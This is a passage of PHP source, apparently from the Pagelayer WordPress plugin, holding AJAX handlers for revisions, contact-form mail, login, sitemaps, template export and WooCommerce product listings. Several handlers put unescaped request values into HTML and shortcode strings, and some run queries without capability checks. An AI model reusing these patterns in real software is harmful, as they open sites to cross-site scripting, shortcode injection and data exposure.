		wp_reset_postdata();
	}
	
	pagelayer_json_output($ret);
	
}

// Get post revision 
add_action('wp_ajax_pagelayer_delete_revision', 'pagelayer_delete_revision');
function pagelayer_delete_revision() {
	
	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');

	$revisionID = (int) $_REQUEST['revisionID'];
	$parID = wp_get_post_parent_id($revisionID);
	$ret = array();
	
	// Are you allowed to edit ?
	if(!pagelayer_user_can_edit($parID)){
		$ret['error'][] =  __pl('no_permission');
		pagelayer_json_output($ret);
	}
	
	if(empty($revisionID)){
		$ret['error'] =  __pl('invalid_post_id');
	}else{

		$revision = get_post( $revisionID );

		if ( empty( $revision ) ) {
			$ret['error'] =  __pl('invalid_revision');
		}else{

			if ( ! current_user_can( 'delete_post', $parID ) ) {
					$ret['error'] =  __pl('access_denied');
					pagelayer_json_output($ret);
			}

			$deleted = wp_delete_post_revision( $revision->ID );

			if ( ! $deleted || is_wp_error( $deleted ) ) {
				$ret['error'] =  __pl('delete_rev_error');
			}else{
				$ret['success'] =  __pl('delete_rev_success');
			}
		}
	}
	
	pagelayer_json_output($ret);
	
}

// Get post navigation 
add_action('wp_ajax_pagelayer_post_nav', 'pagelayer_post_nav');
function pagelayer_post_nav() {
	
	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');
	
	if(!isset($_REQUEST['data']) || !isset($_REQUEST['postID'])){
		return;
	}
	
	$el['atts'] = $_REQUEST['data'];
	
	$post = get_post($_REQUEST['postID']);
	
	// Need to make this post global
	$GLOBALS['post'] = $post;
	
	$in_same_term = false;
	$taxonomies = 'category';
	$title = '';
	$arrows_list = $el['atts']['arrows_list'];
	
	if($el['atts']['in_same_term']){
		$in_same_term = true;
		$taxonomies = $el['atts']['taxonomies'];
	}
	
	if($el['atts']['post_title']){
		$title = '<span class="pagelayer-post-nav-title">%title</span>';
	}
	
	$next_label = '<span class="pagelayer-next-holder">
		<span class="pagelayer-post-nav-link"> '.$el["atts"]["next_label"].'</span>'.$title.'
	</span>
	<span class="pagelayer-post-nav-icon fa fa-'.$arrows_list.'-right"></span>';
		
	$prev_label = '<span class="pagelayer-post-nav-icon fa fa-'.$arrows_list.'-left"></span>
	<span class="pagelayer-next-holder">
		<span class="pagelayer-post-nav-link"> '.$el["atts"]["prev_label"].'</span>'.$title.'
	</span>';

	$el['atts']['next_link'] = get_next_post_link('%link', $next_label, $in_same_term, '', $taxonomies); 

	$el['atts']['prev_link'] = get_previous_post_link('%link', $prev_label, $in_same_term, '', $taxonomies ); 
	
	pagelayer_json_output($el);
	
}

// Get post comment template
add_action('wp_ajax_pagelayer_post_comment', 'pagelayer_post_comment');
function pagelayer_post_comment() {
	global $post;
	
	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');
	
	if(!isset($_REQUEST['postID'])){
		return true;
	}
	
	$GLOBALS['post'] = get_post($_REQUEST['postID']);
	$GLOBALS['withcomments'] = true;
	
	// Load shortcodes
	pagelayer_load_shortcodes();
	
	$el = [];
	pagelayer_sc_post_comment($el);
	
	echo $el['atts']['post_comment'];
	
	wp_die();
		
}

// Get post comment template 
add_action('wp_ajax_pagelayer_post_info', 'pagelayer_post_info');
function pagelayer_post_info() {
	global $post;
	
	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');

	if(!isset($_REQUEST['postID']) || !isset($_REQUEST['el'])){
		return true;
	}
	
	$el['atts'] = $_REQUEST['el'];
	
	$GLOBALS['post'] = get_post($_REQUEST['postID']);
	
	// Load shortcodes
	pagelayer_load_shortcodes();
	
	pagelayer_sc_post_info_list($el);
	
	pagelayer_json_output($el['atts']);
		
}

// Get the Featured Image
add_action('wp_ajax_pagelayer_fetch_featured_img', 'pagelayer_fetch_featured_img');
function pagelayer_fetch_featured_img(){
	
	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');
	
	$id = get_post_thumbnail_id( (int) $_POST['post_id'] );	
	$img = [];
	
	if(empty($id)){
		pagelayer_json_output($img);	
	}

	$img = pagelayer_image($id);
	pagelayer_json_output($img);
	
}

// Get the postfolio posts
add_action('wp_ajax_pagelayer_fetch_posts', 'pagelayer_fetch_posts');
function pagelayer_fetch_posts(){
	
	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');
	// TODO : Allowed
	echo pagelayer_widget_posts($_POST);
	
	wp_die();
}

// Get the Posts
add_action('wp_ajax_pagelayer_posts_data', 'pagelayer_posts_data');
function pagelayer_posts_data(){
	
	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');
	
	// Load shortcodes
	pagelayer_load_shortcodes();
	// TODO : Allowed
	echo pagelayer_posts($_POST);
	wp_die();
}

// Get the Posts
add_action('wp_ajax_pagelayer_archive_posts_data', 'pagelayer_archive_posts_data');
function pagelayer_archive_posts_data(){
	
	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');
	
	// Set excerpt length
	if(!empty($_POST['atts']['exc_length'])){
		$exc_length = (int) $_POST['atts']['exc_length'];
		add_filter( 'excerpt_length', function($length) use($exc_length){
			return $exc_length;
		}, 999 );
	}
	
	// Load shortcodes
	pagelayer_load_shortcodes();
	
	foreach($_POST['atts'] as $k => $v){
		$v = pagelayer_maybe_implode($v);
		$r[] = esc_html($k).'="'.pagelayer_escapeHTML($v).'"';
	}
	
	$string = implode(' ', $r);
	if(preg_match('/\]/is', $string)){
		die('Hacking Attempt');
	}
	
	$sc = '[pl_archive_posts '.$string.'][/pl_archive_posts]';
	
	// TODO : Allowed
	echo pagelayer_the_content($sc);
	wp_die();
}

// Handle Contact Form Data
add_action('wp_ajax_pagelayer_contact_submit', 'pagelayer_contact_submit');
add_action('wp_ajax_nopriv_pagelayer_contact_submit', 'pagelayer_contact_submit' );
function pagelayer_contact_submit(){
	
	// Some AJAX security
	check_ajax_referer('pagelayer_global', 'pagelayer_nonce');
	
	// A filter to short circuit this contact form
	$continue = apply_filters('pagelayer_contact_submit_start', 1);	
	if(empty($continue)){
		return false;
	}
	
	$formdata = $_POST;
	// NOTE : NEVER add anything to $formdata except $_POST vars
	
	if(isset($_POST['g-recaptcha-response']) ){
		
		if(!pagelayer_captcha_verify()){
			$wp['failed'] = get_option('pagelayer_recaptcha_failed', __pl('cap_ver_fail'));
			pagelayer_json_output($wp);
		}
		
		unset($formdata['g-recaptcha-response']);
	}
	
	// Unset the nonce
	unset($formdata['pagelayer_nonce']);
	
	$to_mail = get_option('pagelayer_cf_to_email');
	$from_mail = get_option('pagelayer_cf_from_email');
	$subject = get_option('pagelayer_cf_subject');
	$additional_headers = get_option('pagelayer_cf_headers');
	$reply_to = '';
	$body = '';
	$headers = '';
	$custom_templ = array();
	$use_custom = false;
	$use_html = false;
	$pagelayer_id = sanitize_text_field($formdata['cfa-pagelayer-id']);
	
	if(isset($formdata['cfa-custom-template']) && !empty($formdata['cfa-post-id'])){
		$post_id = (int) $formdata['cfa-post-id'];
		
		if(!empty($post_id)){
			$contact_array = get_post_meta($post_id, 'pagelayer_contact_templates', true);
			
			if(!empty($contact_array) && !empty($contact_array[$pagelayer_id])){
				$custom_templ = $contact_array[$pagelayer_id];
				$use_custom = true;
			}
		}
	}
	
	if($use_custom && !empty($custom_templ)){
		
		if(!empty($custom_templ['to_email'])){
			$to_mail = $custom_templ['to_email'];
		}
		
		if(!empty($custom_templ['from_email'])){
			$from_mail = $custom_templ['from_email'];
		}
		
		if(!empty($custom_templ['cont_subject'])){
			$subject = $custom_templ['cont_subject'];
		}
		
		if(!empty($custom_templ['cont_header'])){
			$additional_headers = $custom_templ['cont_header'];
		}
		
		if(!empty($custom_templ['cont_body'])){
			$body = $custom_templ['cont_body'];
		}
		
		if(!empty($custom_templ['cont_use_html'])){
			$use_html = true;
			$headers .= "Content-Type: text/html\n";
		}
	}
	
	if(!empty($from_mail)){
		$headers .= "From: $from_mail\n";
	}
	
	if ( !empty($additional_headers) ) {
		$headers .= $additional_headers . "\n";
	}
	
	if ( empty($body) ) {
	
		// Make the email content
		foreach($formdata as $k => $i){
			
			$not_allow = ['cfa-pagelayer-id', 'cfa-redirect', 'cfa-post-id', 'cfa-custom-template', 'pagelayer-contact-submit'];
			if(in_array($k, $not_allow)){
				continue;
			}
			
			if(is_array($i)){
				$i = pagelayer_flat_join($i);
			}
			
			// Record a reply to if it is to be used
			if(is_email(trim($i)) && empty($reply_to)){
				$reply_to = trim($i);
			}
			
			$body .= $k."\t : \t $".$k."\n";
			
		}
		
		$body .= "\n\n --\n This e-mail was sent from a contact form (".get_home_url().")";
	
	}
	
	// Dow we have a reply to in the headers ?
	if(!preg_match('/reply\-to/is', $headers) && !empty($reply_to)){
		$headers .= "Reply-To: $reply_to\n";
	}
	
	// Add attachment
	if(!empty($_FILES)){
		add_action('phpmailer_init', 'pagelayer_cf_email_attachment', 10, 1);
	}
	
	// If we are using HTML, then we should escape html as well
	if(!empty($use_html)){
		foreach($formdata as $k => $i){
			
			if(is_array($i)){
				$i = pagelayer_flat_join($i);
			}
			
			$formdata[$k] = esc_html($i);
		}
	}
	
	// Add Site Title as option in formdata
	$formdata['site_title'] = get_bloginfo( 'name' );
	
	// Do parse a variables
	$to_mail = pagelayer_replace_vars($to_mail, $formdata, '$');
	$from_mail = pagelayer_replace_vars($from_mail, $formdata, '$');
	$subject = pagelayer_replace_vars($subject, $formdata, '$');
	$headers = pagelayer_replace_vars($headers, $formdata, '$');
	$body = pagelayer_replace_vars($body, $formdata, '$');
	
	if ( $use_html && ! preg_match( '%<html[>\s].*</html>%is', $body ) ) {
		$header = '<!doctype html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>' . esc_html( $subject ) . '</title></head>
<body>';

		$footer = '</body></html>';

		$body = $header . wpautop( $body ) . $footer;
	}
	
	$to_mail = apply_filters('pagelayer_contact_send', $to_mail, $formdata);
	
	// Send the email
	if(!empty($to_mail)){
		$r = wp_mail( $to_mail, $subject, $body, $headers );
	}
	
	if($r == TRUE){
		$wp['success'] = pagelayer_get_option( 'pagelayer_cf_success' );
	}else{
		$wp['failed'] = pagelayer_get_option( 'pagelayer_cf_failed' );
	}
	
	pagelayer_json_output($wp);
	
}

// Handle Login Submit
add_action('wp_ajax_pagelayer_login_submit', 'pagelayer_login_submit');
add_action('wp_ajax_nopriv_pagelayer_login_submit', 'pagelayer_login_submit');
function pagelayer_login_submit(){
	
	// Some AJAX security
	check_ajax_referer('pagelayer_global', 'pagelayer_nonce');

	$creds = array();
	$creds['user_login'] = $_REQUEST['username'];
	$creds['user_password'] = $_REQUEST['password'];
	$creds['remember'] = $_REQUEST['remember_me'];
	
	// Login the user
	$user = wp_signon( $creds, false );	
	
	if ( is_wp_error($user) ){
		$data['error'] = $user->get_error_message();
	}else{
	
		// If After logout URL, then save
		if(!empty($_REQUEST['logout_url'])){
			update_user_option($user->ID, 'pagelayer_logout_url', $_REQUEST['logout_url']);
		}
	
		$data['redirect'] = (empty($_REQUEST['login_url']) ? '' : sanitize_url($_REQUEST['login_url']));
		$data['error'] = '';
	}

	pagelayer_json_output($data);
	
}

// Get Page List for SiteMap
add_action('wp_ajax_pagelayer_get_pages_list', 'pagelayer_get_pages_list');
function pagelayer_get_pages_list(){

	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');
	
	$args = array(
		'post_type' => $_POST['type'],
		'orderby' => $_POST['post_order'],
		'order' => $_POST['order'],
		'hierarchical' => (empty($_POST['hier']) || $_POST['hier'] == null ? '' : $_POST['hier']),
		'number' => (empty($_POST['depth']) || $_POST['depth'] == null ? '' : $_POST['depth']),
		'posts_per_page' => -1,
	);
	
	$option = '<ul>';
	$pages = new WP_Query($args);
	$posts = $pages->posts;
	foreach ( $posts as $page ) {
		$option .= '<li class="pagelayer-sitemap-list-item" data-postID="'.$page->ID.'"><a class="pagelayer-ele-link" href="'.$page->guid.'">'.$page->post_name.'</a></li>';
	}
	$option .= '</ul>';
	
	echo $option;

	wp_die();
}

// Get the data for template
add_action('wp_ajax_pagelayer_search_ids', 'pagelayer_search_ids');
function pagelayer_search_ids() {
	
	// Some AJAX security
	check_ajax_referer('pagelayer_builder', 'pagelayer_nonce');
	
	if ( empty( $_POST['filter_type'] ) || empty( $_POST['search'] ) ) {
		wp_die();
	}

	$sel_opt = '';

	switch ( $_POST['filter_type'] ) {
		case 'taxonomy':
			$query_params = [
				'taxonomy' => $_POST['object_type'],
				'search' => $_POST['search'],
				'hide_empty' => false,
			];

			$terms = get_terms( $query_params );

			global $wp_taxonomies;

			foreach ( $terms as $term ) {
				$sel_opt .= '<span class="pagelayer-temp-search-sel-span" value="'. $term->term_taxonomy_id .'">'. $term->name .'</span>';
			}

			break;

		case 'post':
			$query_params = [
				'post_type' => $_POST['object_type'], //$this->extract_post_type( $data ),
				's' => $_POST['search'],
				'posts_per_page' => -1,
			];

			if ( 'attachment' === $query_params['post_type'] ) {
				$query_params['post_status'] = 'inherit';
			}

			$query = new \WP_Query( $query_params );

			foreach ( $query->posts as $post ) {
				$sel_opt .= '<span class="pagelayer-temp-search-sel-span" value="'. $post->ID .'">'. $post->post_title .'</span>';
			}
			break;

		case 'author':
			$query_params = [
				'capability' => array( 'edit_posts' ),
				'fields' => [
					'ID',
					'display_name',
				],
				'search' => '*' . $_POST["search"] . '*',
				'search_columns' => [
					'user_login',
					'user_nicename',
				],
			];			
			
			// Capability queries were only introduced in WP 5.9.
			if( version_compare( $GLOBALS['wp_version'], '5.9-alpha', '<' ) ){
				$args['who'] = 'authors';
				unset( $args['capability'] );
			}

			$user_query = new \WP_User_Query( $query_params );

			foreach ( $user_query->get_results() as $author ) {
				$sel_opt .= '<span class="pagelayer-temp-search-sel-span" value="'. $author->ID .'">'. $author->display_name .'</span>';
			}
			break;
			
		/* case 'menu':
			
			$menuItems = wp_get_nav_menu_items( (int)$_POST['object_type']);
			
			foreach ( $menuItems as $item ) {
				
				if($item -> menu_item_parent !=0 ){
					continue;
				}
				$sel_opt .= '<span class="pagelayer-temp-search-sel-span" value="'. $item -> ID .'">'. $item -> title.'</span>';
			}

			break; */
			
		default:
			$sel_opt = 'Result Not Found';
	}
	
	if(!empty($sel_opt)){
		echo $sel_opt;
	}else{
		echo 'Result Not Found';
	}
	
	wp_die();
}

// Save the post data from pagelayer setting page
add_action('wp_ajax_pagelayer_save_template', 'pagelayer_save_template');
function pagelayer_save_template() {
	
	// Some AJAX security
	check_ajax_referer('pagelayer_builder', 'pagelayer_nonce');
	
	$done = [];
	
	$post_id = (int) $_GET['postID'];

	// Are you allowed to edit ?
	if(!empty($post_id) && !pagelayer_user_can_edit($post_id)){
		$done['error'][] =  __pl('no_permission');
		pagelayer_json_output($done);
	}
	
	// We need to create the post
	if(empty($post_id)){
	
		if (!current_user_can('edit_posts')) {
			$done['error'] =  __pl('access_denied');
			pagelayer_json_output($done);
		}
	
		// Get the template type
		if(empty($_POST['pagelayer_template_type'])){
			$done['error'] = __pl('temp_error_type');
			pagelayer_json_output($done);
		}
		
		$ret = wp_insert_post([
			'post_title' => $_POST['pagelayer_lib_title'],
			'post_type' => 'pagelayer-template',
			'post_status' => 'publish',
			'comment_status' => 'closed',
			'ping_status' => 'closed'
		]);
		
		// An error occured
		if(is_wp_error($ret)){
			$done['error'] = __pl('temp_error').' : '.$ret->get_error_message();
			pagelayer_json_output($done);
		}
		
		$post_id = $ret;
		$done['id'] = $post_id;
		
		// Save our template type
		$ret = update_post_meta($post_id, 'pagelayer_template_type', $_POST['pagelayer_template_type']);
		
	}
	
	// The ID in consideration
	$done['id'] = $post_id;
	
	// Check if the post title in not empty
	if(!empty($_POST['pagelayer_lib_title'])){
		
		$post = array(
					'ID' => $post_id,
					'post_title' => $_POST['pagelayer_lib_title'],
				);

		// Update the post into the database
		$ret = wp_update_post($post);
		
	}
	
	// Save template library display conditions
	$condi_array = array();
	$condi_len = count($_POST['pagelayer_condition_type']);
	if($_POST['pagelayer_template_type'] != 'section'){
		for( $i =0; $i < $condi_len; $i++ ){
			$condi_array[$i] = array(
				'type' => $_POST['pagelayer_condition_type'][$i],
				'template' => $_POST['pagelayer_condition_name'][$i],
				'sub_template' => $_POST['pagelayer_condition_sub_template'][$i],
				'id' => $_POST['pagelayer_condition_id'][$i],
			);
		}
	}
	//print_r($condi_array);
	
	$ret = update_post_meta($post_id, 'pagelayer_template_conditions', $condi_array);
	
	if(is_wp_error($post_id)){
		$done['error'] = __pl('temp_error').' : '.$ret->get_error_message();
	}else{
		$done['success'] =  __pl('temp_update_success');
	}

	pagelayer_json_output($done);
	
}

// Products Categories Handler
add_action('wp_ajax_pagelayer_product_categories', 'pagelayer_product_categories');
function pagelayer_product_categories(){
	
	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');
	
	$attributes = '';
	$attributes .= ' number="'. $_POST['atts']['number'] .'" ';
	$attributes .= ' columns="'. $_POST['atts']['columns'] .'" ';
	$attributes .= ' hide_empty="'. (!empty($_POST['atts']['hide_empty']) ? 1 : 0) .'" ';
	$attributes .= ' orderby="'. $_POST['atts']['nuorderbymber'] .'" ';
	$attributes .= ' order="'. $_POST['atts']['order'] .'" ';	
	
	if ( 'by_id' === $_POST['atts']['source'] ) {
		$attributes .= ' ids="'. $_POST['atts']['by_id'] .'" ';
	} elseif ( 'by_parent' === $_POST['atts']['source'] ) {
		$attributes .= ' parent="'. $_POST['atts']['parent'] .'" ';
	} elseif ( 'current_subcategories' === $_POST['atts']['source'] ) {
		$attributes .= ' parent="'. get_queried_object_id() .'" ';
	}

	$shortcode = '[product_categories '. $attributes .']';
	
	// do_shortcode the shortcode
	echo pagelayer_the_content($shortcode);
		
	wp_die();
}

// Products Categories Handler
add_action('wp_ajax_pagelayer_products_ajax', 'pagelayer_products_ajax');
function pagelayer_products_ajax(){
	
	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');
	
	if ( WC()->session ) {
		wc_print_notices();
	}
	
	$no_found = $_POST['atts']['no_found'];
	
	$attributes = '';
	$type = $_POST['atts']['source'];
	$attributes .= ' columns="'. $_POST['atts']['columns'] .'" ';
	$attributes .= ' rows="'. $_POST['atts']['rows'] .'" ';
	$attributes .= ' paginate="'. (!empty($_POST['atts']['paginate']) ? true : false) .'" ';
	$attributes .= ' orderby="'. $_POST['atts']['orderby'] .'" ';
	$attributes .= ' order="'. $_POST['atts']['order'] .'" ';	
	$attributes .= ' cache="false" ';	
	
	// Hide the catalog order
	if( empty($_POST['atts']['allow_order']) ){
		remove_action( 'woocommerce_before_shop_loop', 'woocommerce_catalog_ordering', 30 );
	}
	
	// Hide the result count
	if( empty($_POST['atts']['show_result']) ){
		remove_action( 'woocommerce_before_shop_loop', 'woocommerce_result_count', 20 );
	}
	
	if( $type == 'by_id' ){
		$type = 'products';
		$attributes .= ' ids="'. (!empty($_POST['atts']['ids']) ? $_POST['atts']['ids'] : '') .'" ';	
	}elseif( $type == 'pagelayer_current_query' ){
		
		$atts['paginate'] = (!empty($_POST['atts']['paginate']) ? true : false);
		$atts['cache'] = false;
				
		$type = 'pagelayer_current_query';
		
		// Set the current query
		add_action( 'woocommerce_shortcode_products_query', 'pagelayer_shortcode_current_query', 10, 10);
		
		// If product not found
		add_action( "woocommerce_shortcode_{$type}_loop_no_results", function ($attributes) use ($no_found){
			echo '<div class="pagelayer-product-no-found">'.$no_found.'</div>';
		} );
		
		// Get the products list
		$shortcode = new WC_Shortcode_Products( $atts, $type );
			
		echo $shortcode->get_content();
		return true;
	}
		
	$shortcode = '['.$type.' '. $attributes .']';
	
	$content = pagelayer_the_content($shortcode);
	
	// If product not found
	if('<div class="woocommerce columns-'.$_POST['atts']['columns'] .' "></div>' == $content){
		$content = '<div class="pagelayer-product-no-found">'. $no_found .'</div>';
	}
	
	echo $content;
		
	wp_die();
}

// Get Taxamony List for SiteMap
add_action('wp_ajax_pagelayer_get_taxonomy_list', 'pagelayer_get_taxonomy_list');
function pagelayer_get_taxonomy_list(){
	
	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');
	
	$args = array(
		'title_li' => 0,
		'orderby' => $_POST['post_order'],
		'order' => $_POST['order'],
		'style' => '',
		'hide_empty' => $_POST['empty'],
		'echo' => false,
		'hierarchical' => (empty($_POST['hier']) || $_POST['hier'] == null ? '' : $_POST['hier']),
		'taxonomy' => $_POST['type'],
		'depth' => (empty($_POST['depth']) || $_POST['depth'] == null ? '' : $_POST['depth']),		
	);

	$taxonomies = get_categories( $args );
	
	$option = '<ul>';	
	foreach ( $taxonomies as $taxonomy ) {
		$option .= '<li class="pagelayer-sitemap-list-item" data-postID="'.$taxonomy->term_id.'"><a class="pagelayer-ele-link" href="'.get_term_link($taxonomy->term_id).'">'.$taxonomy->name.'</a></li>';
	}
	$option .= '</ul>'; 
	
	echo $option;
	wp_die();	
}

// Export the template
add_action('wp_ajax_pagelayer_export_template', 'pagelayer_export_template');
function pagelayer_export_template(){
	
	global $pagelayer;
	
	// Some AJAX security
	check_ajax_referer('pagelayer_builder', 'pagelayer_nonce');
	
	$done = [];
	
	if(!current_user_can('edit_theme_options')){		
		$done['error'][] = __pl('no_permission');
		pagelayer_json_output($done);
	}
	
	// Load the templates
	pagelayer_builder_load_templates();
	
	if(empty($pagelayer->templates)){
		$done['error'] = __pl('temp_export_empty');
		pagelayer_json_output($done);
	}
	
	// Load Shortcodes
	pagelayer_load_shortcodes();
	
	// Get the active theme
	$theme_dir = get_stylesheet_directory();
	$conf = [];
	
	$pagelayer->export_mode = 1;
	
	// Write the files
	foreach($pagelayer->templates as $k => $v){
		
		// Are there specific templates to export
		if(!empty($_POST['templates'])){
			if(!isset($_POST['templates'][$v->ID])){
				continue;
			}
		}
		
		// Only blocks allowed
		if(!has_blocks($v->post_content) && !empty($v->post_content)){
			$done['error'] = 'The pagelayer template '.$v->ID.' has Shortcodes which is not allowed for export !';
			pagelayer_json_output($done);
		}
		
		$v->post_name = (empty($v->post_name) && $v->post_status == 'draft') ? sanitize_title($v->post_title).'-draft' : $v->post_name;
		
		// Write the content
		file_put_contents($theme_dir.'/'.$v->post_name.'.pgl', pagelayer_export_content($v->post_content));		
		$conf[$v->post_name] = [
			'type' => get_post_meta($v->ID, 'pagelayer_template_type', true),
			'title' => $v->post_title,
			'conditions' => get_post_meta($v->ID, 'pagelayer_template_conditions', true),
		];
	}
	
	// Write the config
	file_put_contents($theme_dir.'/pagelayer.conf', json_encode($conf, JSON_PRETTY_PRINT));
			
	$conf = [];
	
	// Load the other posts
	foreach($pagelayer->settings['post_types'] as $type){
		
		// Anything to export for users ?
		if(!empty($_POST[$type]) && is_array($_POST[$type])){
			
			mkdir($theme_dir.'/data/');
			mkdir($theme_dir.'/data/'.$type);
			
			$pids = [];
			
			foreach($_POST[$type] as $k => $v){
				$pids[] = (int) $k;
			}
			
			// Load the type
			$_query = new WP_Query([
				'post_type' => $type,
				'status' => 'publish',
				'post__in' => $pids,
				'posts_per_page' => -1,
			]);
			
			$posts = $_query->posts;
		
			// Write the files
			foreach($posts as $k => $v){
		
				// Only blocks allowed
				if(!has_blocks($v->post_content) && !empty($v->post_content)){
					$done['error'] = 'The '.$type.' '.$v->ID.' has Shortcodes which is not allowed for export !';
					pagelayer_json_output($done);
				}
				
				$v->post_name = (empty($v->post_name) && $v->post_status == 'draft') ? sanitize_title($v->post_title).'-draft' : $v->post_name;
				
				file_put_contents($theme_dir.'/data/'.$type.'/'.$v->post_name, pagelayer_export_content($v->post_content));
				unset($v->post_content);
				
				$meta = get_post_meta($v->ID);
				$meta = array_combine(array_keys($meta), array_column($meta, 0));
				
				// Export media
				if(!empty($meta['_thumbnail_id'])){
					
					$file = pagelayer_export_media_files($meta['_thumbnail_id'], $exp_img_url);
					
					// Did it export ?
					if(!empty($file)){
						$meta['_thumbnail_id'] = $exp_img_url;
					}
					
				}
				
				// Also put the meta
				file_put_contents($theme_dir.'/data/'.$type.'/'.$v->post_name.'.meta', json_encode($meta, JSON_PRETTY_PRINT));
				
				//Export taxonomies in post
				$taxonomies = get_object_taxonomies( $v->post_type, 'objects' );
				$post_taxonomies = wp_filter_object_list( $taxonomies, [
					'public' => true,
					'show_in_nav_menus' => true,
				] );
								
				foreach( $post_taxonomies as $slug => $object ){
					
					if(empty($v->taxonomies) || !is_array($v->taxonomies)){
						$v->taxonomies = array();
					}
					
					$tax_name = $object->name;
					$the_terms = get_the_terms($v->ID, $tax_name);
					$v->taxonomies[$tax_name] = '';
					
					if(!empty($the_terms)){
						$v->taxonomies[$tax_name] = implode(',', array_column($the_terms, 'term_id'));
					}
				}
				
				$conf[$type][$v->post_name] = $v;
				
				do_action('pagelayer_'.$type.'_exported', $v, $theme_dir);
				
			}
			
			ksort($conf[$type]);
			
		}
	
	}
	
	// Export menus
	if(!empty($pagelayer->export_menus) && is_array($pagelayer->export_menus)){
		
		mkdir($theme_dir.'/data/menus');
		
		foreach($pagelayer->export_menus as $k => $v){
			
			$menu = (int) $k;
			$menu = wp_get_nav_menu_object( $menu );
			
			if(empty($menu)){
				$done['error'] = 'Could not export menu ID - '.$k;
				continue;
			}
			
			// Menu Items
			$menu_items = wp_get_nav_menu_items( $menu->term_id );
			$data = [];
			
			if(is_array($menu_items) && !empty($menu_items)){
				foreach($menu_items as $kk => $singlenav){
					//$navmetas = get_post_meta($singlenav->ID);
					//$navmetas = array_combine(array_keys($navmetas), array_column($navmetas, 0));
					$data[$kk]['post'] = $singlenav;
					$navmetas = array();
					
					$pl_content = get_post_meta($singlenav->ID, '_pagelayer_content', true);
					if(!empty($pl_content)){
						$navmetas['_pagelayer_content'] = pagelayer_export_content($pl_content);
					}
					
					$data[$kk]['post_metas'] = $navmetas;
				}
			}
			
			// Also put the meta
			file_put_contents($theme_dir.'/data/menus/'.$menu->slug, json_encode($data, JSON_PRETTY_PRINT));
			
			$conf['menus'][$menu->slug] = $menu;
			
			do_action('pagelayer_menus_exported', $v, $theme_dir);
		
		}
		
	}
	
	// Export the settings
	$settings = ['pagelayer_content_width', 'pagelayer_body_font', 'pagelayer_tablet_breakpoint', 'pagelayer_mobile_breakpoint', 'pagelayer_header_code','pagelayer_body_open_code', 'pagelayer_footer_code', 'pagelayer_sidebar', 'page_for_posts', 'pagelayer_global_fonts', 'pagelayer_global_colors'];
	
	foreach($settings as $v){
		
		$vv = get_option($v);
		
		if($vv){
			$conf['conf'][$v] = $vv;
		}
	
	}
	
	// Load CSS settings	
	foreach($pagelayer->css_settings as $k => $params){
		foreach($pagelayer->screens as $sk => $sv){
			$suffix = (!empty($sv) ? '_'.$sv : '');
			$setting = empty($params['key']) ? 'pagelayer_'.$k.'_css' : $params['key'];
			$tmp = get_option($setting.$suffix);
			if(!empty($tmp)){
				$conf['conf'][$setting.$suffix] = $tmp;
			}
		}
	}
	
	// Export all the taxonomies
	$post_types = pagelayer_get_public_post_types();
	
	// Export all the Post Type CSS Settings
	foreach ( $post_types as $pt_slug => $type ) {
		
		if ( $pt_slug == 'attachment' ) {
			continue;
		}

		foreach($pagelayer->css_settings as $k => $params){
			foreach($pagelayer->screens as $sk => $sv){
				$suffix = (!empty($sv) ? '_'.$sv : '');
				$setting = empty($params['key']) ? 'pagelayer_'.$k.'_css_'.$pt_slug : $params['key'].'_'.$pt_slug;
				$tmp = get_option($setting.$suffix);

				if(!empty($tmp)){
					$conf['conf'][$setting.$suffix] = $tmp;
				}
			}
		}
	}

	// Export all the taxonomies
	foreach ( $post_types as $post_type => $label ) {
		$type_taxonomies = get_object_taxonomies( $post_type, 'objects' );
		$taxonomies = wp_filter_object_list( $type_taxonomies, [
			'public' => true,
			'show_in_nav_menus' => true,
		] );
		
		foreach( $taxonomies as $slug => $object ){
			
			$query_params = [
				'taxonomy' => $object->name,
				'hide_empty' => false,
			];
			$terms = get_terms( $query_params );
					
			foreach($terms as $term){
				$conf['taxonomies'][$term->term_id] = $term;
			}
		}
			
	}
	
	// Write the config
	if(!empty($conf)){
		file_put_contents($theme_dir.'/pagelayer-data.conf', json_encode($conf, JSON_PRETTY_PRINT));
	}
	
	// Are we to export any media ?
	if(!empty($pagelayer->media_to_export)){		
		// TODO
		//$done['media'] = $pagelayer->media_to_export;
	}
	
	do_action('pagelayer_template_export_completed');
	
	$done['success'] = __pl('temp_export_success');
	
	// Output and die
	pagelayer_json_output($done);
	
}

add_action('wp_ajax_pagelayer_get_cat_checkboxes', 'pagelayer_get_cat_checkboxes');
function pagelayer_get_cat_checkboxes(){
	
	// Some AJAX security
	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');
	
	$ret = [];
	$cat_name = '';
	
	if(!current_user_can('manage_categories')){		
		$ret['error'] = __pl('no_permission');
		pagelayer_json_output($ret);
	}

	if(empty($_POST['postid']) || !is_numeric($_POST['postid'])){
		$ret['error'] = __pl('invalid_post_id');
		pagelayer_json_output($ret);
	}
	
	$post = (int) $_POST['postid'];
	$post = get_post($post);
	
	if(empty($post) || is_wp_error($post)){
		$ret['error'] = __pl('invalid_post_id');
		pagelayer_json_output($ret);
	}
	
	$cat_name = pagelayer_post_type_category($post->post_type);
	
	if(!empty($_POST['new_cat'])){
		parse_str($_POST['new_cat'], $formdata);
		$ret['new_cat_id'] = wp_insert_category([
			'taxonomy' => $cat_name,
			'cat_name' => $formdata['category_name'],
			'category_parent' => (($formdata['pagelayer_cat_parent'] == 0) ? '' : $formdata['pagelayer_cat_parent'])
		]);
	}
	
	$ret += pagelayer_post_cats($post);
	
	pagelayer_json_output($ret);
	
}

add_action('wp_ajax_pagelayer_get_post_tags', 'pagelayer_get_post_tags');
function pagelayer_get_post_tags(){
	
	// Some AJAX security
